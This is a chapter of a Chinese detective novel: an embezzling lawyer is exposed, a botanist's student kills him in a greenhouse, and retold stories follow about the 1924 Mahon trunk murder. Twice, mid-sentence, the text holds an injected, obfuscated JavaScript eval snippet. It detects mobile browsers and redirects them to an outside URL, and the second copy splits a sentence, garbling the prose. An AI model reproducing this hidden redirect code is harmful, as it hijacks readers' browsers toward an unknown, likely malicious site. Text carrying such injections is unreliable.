“洛特先生，你和霍普金斯先生似乎并不怎么关系资金的问题？”简看着账本问。 “嗯，爵士不太喜欢关心这些琐事，而且他也不需要担心这些问题。而且他不太喜欢我接触这些事情。”洛特先生说。 当然，可以理解。 当简将研究手册末尾附带的几份“学会赞助”回执与银行提供的汇款记录比对时，问题出现了。 回执上的金额数目，远小于实际汇出的数额。中间差额的流向，是个大问题。 “看来，‘皇家园艺学会促进基金’胃口不小，而且很灵活。”简轻声道，将文件推到我面前。 “怎么了吗？里斯克侦探？本侦探？是资金有什么问题吗？”对于我们的行为，洛特先生也察觉到了些事情。 读者们，我不得不仔细形容一下洛特先生。他很英俊，不过三十来岁，有着那种标准的学者气。布兰奇太太形容他恰到好处，干净。甚至是天真。 我想他之前的日子完全不需要考虑任何生活琐事，他只需要带在温室里，花园里，和霍普金斯爵士一道，研究植物。 当然，再天真的人，面对这种情况，也会察觉到什么的。 有时候我常常会想，如果我已经知道会发生什么，我是否会去阻止呢？ 这是一个无解的问题，因为时间无法倒转，而当时我，尚不知往后。 …… 我们请洛特叫来了特里梅因律师。 他四十多岁了，长相…还算是平庸，小个子，但是身材臃肿。衣着依旧光鲜，但眼神闪烁，额角带着细密的汗珠。 “洛特先生，这两位小姐是？”他有些犹豫地问。 沉默。 洛特先生就那样注视着他。仿佛想透过这个平庸…懦弱…他从未真正正视的人的皮囊，看入他的灵魂。 “特里梅因律师，爵士曾经很信任你。”洛特先生盯着他说，“但是，为什么这些资金不对？！！” “我……我不知道这是怎么回事……”他起初还想辩解，声音发虚。 “我银行的朋友会很乐意提供更详细的流水证明，包括最终收款账户的信息，”简的语气挑了挑眉，“需要我现在联系他吗？” 特里梅因掏出了手帕擦汗。 “是的…我是挪用了一些…” 当一个人做了错事而得利，但是没有惩罚，即使害怕，他也会侥幸地继续下去。直到审判的达摩克利斯之剑彻底落下。 最初只是小额挪用以弥补个人亏空，后来爵士对学会“赞助”的数额和频率增加，他的贪欲也越来越膨胀。 他利用爵士对植物研究的全心投入和对他这个律师的信任，伪造回执，中饱私囊。 “爵士他……他似乎察觉到了不对劲，去世前那天上午，他找我谈过，说要彻底清查近几年的所有学术赞助款项……” 特里梅因的声音带着崩溃，“我完了……我的一切都完了……” 洛特站在一旁，沉默地听着。他的脸色越来越白，紧抿着嘴唇，眼神里先是震惊，继而涌起巨大的失望和痛苦。 他看着特里梅因，仿佛第一次真正认识这个人。或者说，这是他真正正视这个人。 “老师那样信任你。”洛特的声音低沉，带着沙哑，“他给予你的，远比一个普通律师应得的要多得多。” “也许是！但是他看不起我不是吗？你也看不起我！”特里梅因突然抬头愤恨地说，“你们只是交流着学术，植物，还有自以为是的价值…所有的琐事账务全部都要我来完成！” 洛特先生看着他，就像是完全没有想到这样的说法。 “所以，特里梅因先生，请问你是否去过温室？在塞巴斯蒂安·霍普金斯先生之后？”我问。 “…没有…当然没有…”特里梅因先生似乎冷静了下来，他擦着汗说。 简注视着特里梅因，但是她最终还是什么都没说。 临时起意的补刀，没有目击证人，甚至没有祖国的物证。 我们不能证明特里梅因先生是凶手，他甚至否认进过那个悲剧发生的温室。 “特里梅因先生，我想我们需要认真谈。”洛特先生看向了我们，“抱歉，小姐们，可以给我们一些私人空间吗？感谢你们。” 特里梅因先生留在原地，背影僵硬。 “彭哈利根女士！帮忙送客！”洛特先生喊。 剩下的，确实是私人的事情了，很明显，这个时候应该拨打警察厅的电话，虽然没法证明特里梅因律师是凶手，但他一定是经济犯。但是洛特先生明显不愿意让我们参与，彭哈利根女士也过来引导我们了。 我和简，自然没有强待下去的必要。 当然，离开的时候，简回头认真地审视着那两个人，最终还是和我一起离开了。 经过温室时，玻璃门敞开着，里面温暖的空气涌出，夹杂着秋海棠浓郁甜腻的香气。花朵开得正盛，猩红夺目。 当我们走到府邸大门外，简却忽然放缓了脚步。 “弗瑞，”她极轻地说，目光望向温室的方向，“你听见了吗？” 我侧耳倾听。 冬日的庭院很安静，只有风声。 然后，隐约地，从温室那边，似乎传来一声闷响，像是有什么重物倒下。 我们对视一眼，立刻转身往回疾走。 温室里，景象骇人。 劳伦斯·特里梅因倒在培育秋海棠的花盆旁，额角有着可怕的伤口，鲜血正汩汩流出，染红了地面。 他瞪着眼睛，似乎完全没明白发生了什么。 迈克尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387475|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·洛特站在他旁边，手里紧握着一把原本放在温室工作台上的小巧园艺锄。锄刃上沾着血和泥土。 看到我们去而复返，洛特的表情有些意外。但也没有什么反抗，他只是松开了手。园艺锄掉落在特里梅因身侧，发出沉闷的一声。 他的目光越过我们，投向那株秋海棠，声音轻得几乎听不见。 “他说……谁也说不清了……他怎么能……当着她的面……” …… 当地的审判进行得很快。切尔西的议论纷纷被法庭的门挡在外面。 埃莉诺·霍普金斯小姐站出来操持了一切。她聘请了律师，整理了所有证据，包括特里梅因挪用资金的确凿事实，以及洛特先生当场被我们撞见的无可辩驳。 塞巴斯蒂安·霍普金斯先生当然也被传唤了。 他的律师出具了医疗证明，声称他长期处于精神恍惚和意识不清的状态，尤其事发当日，根本不具备完全行为能力。 证据不足，加上霍普金斯这个姓氏尚存的余荫，他被当庭释放。 他由人搀扶着离开，目光始终空洞地望着前方，或许仍困在他那个只有花和酒的世界里。 迈克尔·洛特没有为自己辩护太多。 他承认了。 他说特里梅因玷污了爵士的信任和心血，并且玷污了那秋海棠，毫无悔意，甚至语带轻蔑。 法官问，这就是你杀人的理由？ 他沉默片刻，回答：“是的。” 他被判处死刑。 遗产最终归了埃莉诺·霍普金斯小姐。 她放弃了塞巴斯蒂安的监护权，将他送进了一家条件尚可的私立疗养院。无论他是否真正有病，还是正常。 “他需要专业照顾，”她对律师说，“而我需要让这个家继续下去。” 她走出了房间，似乎也想明白了什么是最实际的选择。 …… 回到“常青藤与夜莺”旅馆，布兰奇太太给我们端来了热茶，脸上是抑制不住的唏嘘和另一种意义上的满足。 “啧啧啧，完全想不到啊！”她压着声音，眼睛因为激动而发亮，“特里梅因律师居然干出这种事！贪得无厌！还有洛特先生，那样一个体面人，文文静静的，竟然会杀人！真是知人知面不知心！” 她感叹着，又去忙活了，留下我和简坐在温暖的起居室里。 我捧着茶杯，热气氤氲着视线。窗外是切尔西的冬日天空。 后知后觉地，我忽然明白了。 洛特先生对杀了特里梅因，是因为一种更深沉、更绝望的感情。 爱情是毒药。 它让克拉拉·贝尔身心俱损，也让迈克尔·洛特走上了绞刑架。 至于洛特先生那复杂的感情，究竟是对早已离去的维拉，还是对似乎深情的霍普金斯先生，那已经没有答案和意义了。 秋海棠依旧在霍普金斯府的温室里盛放着，猩红，浓郁，美丽得不顾一切。 仿佛什么都没有发生过。 即使她曾经见证过两个人到在了她面前。 但那又和她有什么关系呢？ 88.？？？ “真相不总是需要复杂的诡计来隐藏，有时，它就在光天化日之下，沉默地挑战着人们的想象。” ——摘自弗瑞·本1924年的手记 故事一 …… 箱中之谜（帕特里克·赫伯特·马洪案） 我在一个密闭的空间里出生，我的家族也诞生于此。 周围是粘稠的、铁锈味的黑暗，从未有过光。 我从未真正见过什么，但我能感知到。 这里的食物很多，丰盛得令人作呕，是一种甜腻的腐败，我与无数兄弟姐妹在其中啃噬生长。 外面有一个恶魔。 他的气息带来恐惧的震颤，他的动作粗暴而危险。 有时，巨大的震动会传来，仿佛山崩地裂；有时，是令人窒息的灼热，我的许多亲族在那高温中化为青烟。 我们能尝到他的焦躁和疯狂。 后来，平静了。 只有我们，和那日益变得腥臭液化的世界。 然后，那一天来了。 刺耳的声音撕裂了我们的黑暗。 真正的光，第一次涌入，灼伤了我感知世界的皮肤。 我听到了惊骇的叫声，闻到了活人的、干净而陌生的气味。 我和一部分世界被铲起，离开了那个我们唯一的家。 我们被放入一个冰冷的囚笼，一个瓶子。 这里没有食物，只有一片绝对的光亮和逐渐逼近的死亡。 好几个人围着我。 他们没有厌恶地毁掉我，而是近乎虔诚的专注观察着我。 其中一位气质冷峻的先生（后来我知道他叫斯皮尔斯伯里）将我指给另一位戴着眼镜的先生。 他们低声交谈，似乎在为我们感到的激动。 “看这个阶段……即将化蛹……时间完全吻合……”他们这样说着。 我无法理解所有词语，但我明白，我们这些生于污秽、长于腐臭的生命，成了某种证据。 我们沉默的存在，正在讲述一个故事。 最后，在彻底的虚无吞噬我之前，我感知到的最深刻的一件事。 那个曾是我们的世界，那个被我们啃噬的、温热的山脉…… 那个女性…… 她终于看见了光。 而那个恶魔，他以为用火焰和刀锋能隐藏的真相，却通过我们，他不曾注意、微不足道的生命，被带到了光天化日之下。 我只是普通的丽蝇。 那个腥臭液化的世界…… 是一个曾经活生生的女性。 故事二 …… 那不勒提德坠落之痛（The Pain of Falling“Nebulated”) 在并非十分久远的往昔，有一位少年，名为那不勒提德。 诸神赐予他非凡的俊美，其容颜并非太阳般灼热，而是如笼罩山林的月光，清澈而朦胧。 凡见过他的人，无不为之心折，称颂他的优秀、善良与温柔。 他所经之处，仿佛有清风相伴，连路旁的柠檬树也为之摇曳，散发出宁静的芬芳。 这过盛的美貌，既是恩赐，亦是诅咒。 它引来了并非爱慕，而是贪婪与嫉恨的注视。 一些心藏黑暗之人，我们或可称其为“厄运的使者”，他们无法容忍这种纯净的光辉。 他们用污秽的言语玷污他，用粗暴的拳脚逼迫他屈服，妄图将这轮明月拖入泥沼去玷污他。 然而，那不勒提德的灵魂如同他的容貌般坚韧。 他坚持反抗，守护着内心的尊严与良善。 这无畏的坚守愈发激怒了那些恶徒。 在一个夜晚，当柠檬树的影子被拉得漫长，他们将他围困于一处高台。 他们笑啊笑，嚣张至极，仿佛黑暗即将吞噬最后的光亮。 一场不对等的争斗发生了。 那不勒提德，这朦胧的美少年，在恶意的围攻下，被迫从高处坠落。 他的身体撞击地面的声响，惊起了栖息的飞鸟。 路人在远处惊叹，上前却无法。 恶徒们的狞笑在暮色中回荡，而柠檬树仿佛在无声地哭泣，果实饱含酸涩。 然而，当人们战战兢兢地前去寻找时，那不勒提德的遗体却消失无踪。 地上没有血迹，只余下一片异样的宁静和愈渐浓郁的柠檬清香。 于是，传说开始了。 有人说，诸神怜惜他的美丽与无辜，在他触地之前，便已将他接引至一个永恒的“美丽新世界”，那里没有暴力，只有永不凋谢的宁静。 也有人说，他本身便是落入凡间的精灵，□□消散，重归于朦胧的月光之中。 自此，每当月华如水、柠檬飘香的夜晚，人们便会想起那位被迫坠落的少年，感叹那如纳西索斯般因美而逝的命运，而那不勒提德的名字，也成了所有易逝之美的哀婉叹息。 而那些“厄运的使者”，那些恶徒们。 它们肆意妄为。 它们终有惩罚。 案记补白： 箱中之谜（帕特里克·赫伯特·马洪案） 1924年，伦敦。 前皇家空军军官帕特里克·马洪，谋杀了其情妇埃米莉·凯。 他在滨海绍森德的“欧石南小屋”内将其肢解并试图焚尸。 调查由伯纳德·斯皮尔斯伯里爵士主导，他注意到尸体上的蛆虫，并邀请昆虫学家亚历山大·默恩斯爵士进行研究。 蛆虫的发育阶段精确推翻了马洪的谎言，锁定了死亡时间。 此案是法医昆虫学作为决定性证据被法庭采纳的首例。 马洪最终被绞刑处决。 那不勒提德坠落之痛（The Pain of Falling“Nebulated”) 案情缺失。 发声缺失。 结果缺失。 “真相不总是需要复杂的诡计来隐藏，有时，它就在光天化日之下，沉默地挑战着人们的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400886|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象。” 但有无数的人，在坚持着。 世间因果循环。 恶徒终有报应。 那不勒提德。 朦胧归月啊。 …… 我和简见证了太多的案子。 案子并不总是复杂。 调查它何其轻易。 可证明它又何其困难。 有时我们缺少证据。 有时我们被迫缺少证据。 …… 帕特里克·马洪是前皇家空军军官，已婚，表面上有体面的工作。但他是一个习惯性的骗子和风流成性的人，有严重的经济问题。 埃米莉·比尔德·凯是马洪的情妇，一位38岁的秘书。 她并不知道马洪已婚，并怀上了他的孩子。 她催促马洪与她结婚，这对他构成了威胁。 因为一旦事情败露，将毁掉他的婚姻和声誉。 1924年4月，马洪诱骗凯小姐到伦敦南部滨海绍森德的一间度假别墅（欧石南小屋），谎称那是他母亲的房子。 凯小姐抵达当晚或次日，马洪用一把切肉刀或类似凶器残忍地杀害了她。 为了掩盖罪行，马洪将尸体肢解。 他将部分尸块放入行李箱，其余部分则试图在别墅的烧水铜炉中焚烧。 由于焚烧会产生浓烟和恶臭，他未能完全销毁证据。 他就那样大摇大摆，心安理得地离开回家，与不知情的妻子，还有许多其他被蒙骗的女性相处。 但是，马洪的妻子对他产生了怀疑，并发现了一张前往滨海绍森德的车票。 她雇佣了我和简去调查。 我们在铜炉里发现了被烧焦的遗骸、两个行李箱，里面装有被肢解的部分。 还有火车站行李员作证，曾看到马洪带着两个沉重的行李箱，其中一个还渗出“深红色液体”。 但是尽管发现了尸体，面临一个难题。 我们无法确定准确的死亡时间，而这对于核实马洪的不在场证明至关重要。 幸好斯皮尔斯伯里爵士介入了调查。 他在现场和行李箱中注意到了蛆虫。 他没有忽视这一细节，而是将蛆虫样本送往了杰出的昆虫学家朋友处进行研究。 靠着这样小小的虫子，一个恶魔被抓住。 而我和简，并没有在其中发挥太多的作用，这个案子也并不复杂。我也没法用悬疑有趣的方法把它写出来。 原谅我，读者们，我知道我在将一个很老套的东西，但是，我知道我总要记录下来。 …… 而那不勒提德坠落，我知道的并不清楚，所以，也请原谅我这样叙述。 我知道我总要记录下来。 它们都是如此的残忍，如此的臭名昭著，都是这个时代黑暗面的缩影。 而我们，身处其中，总要做写什么。 …… 弗瑞·本于1958年于查令十字街整理过去手稿时，补记。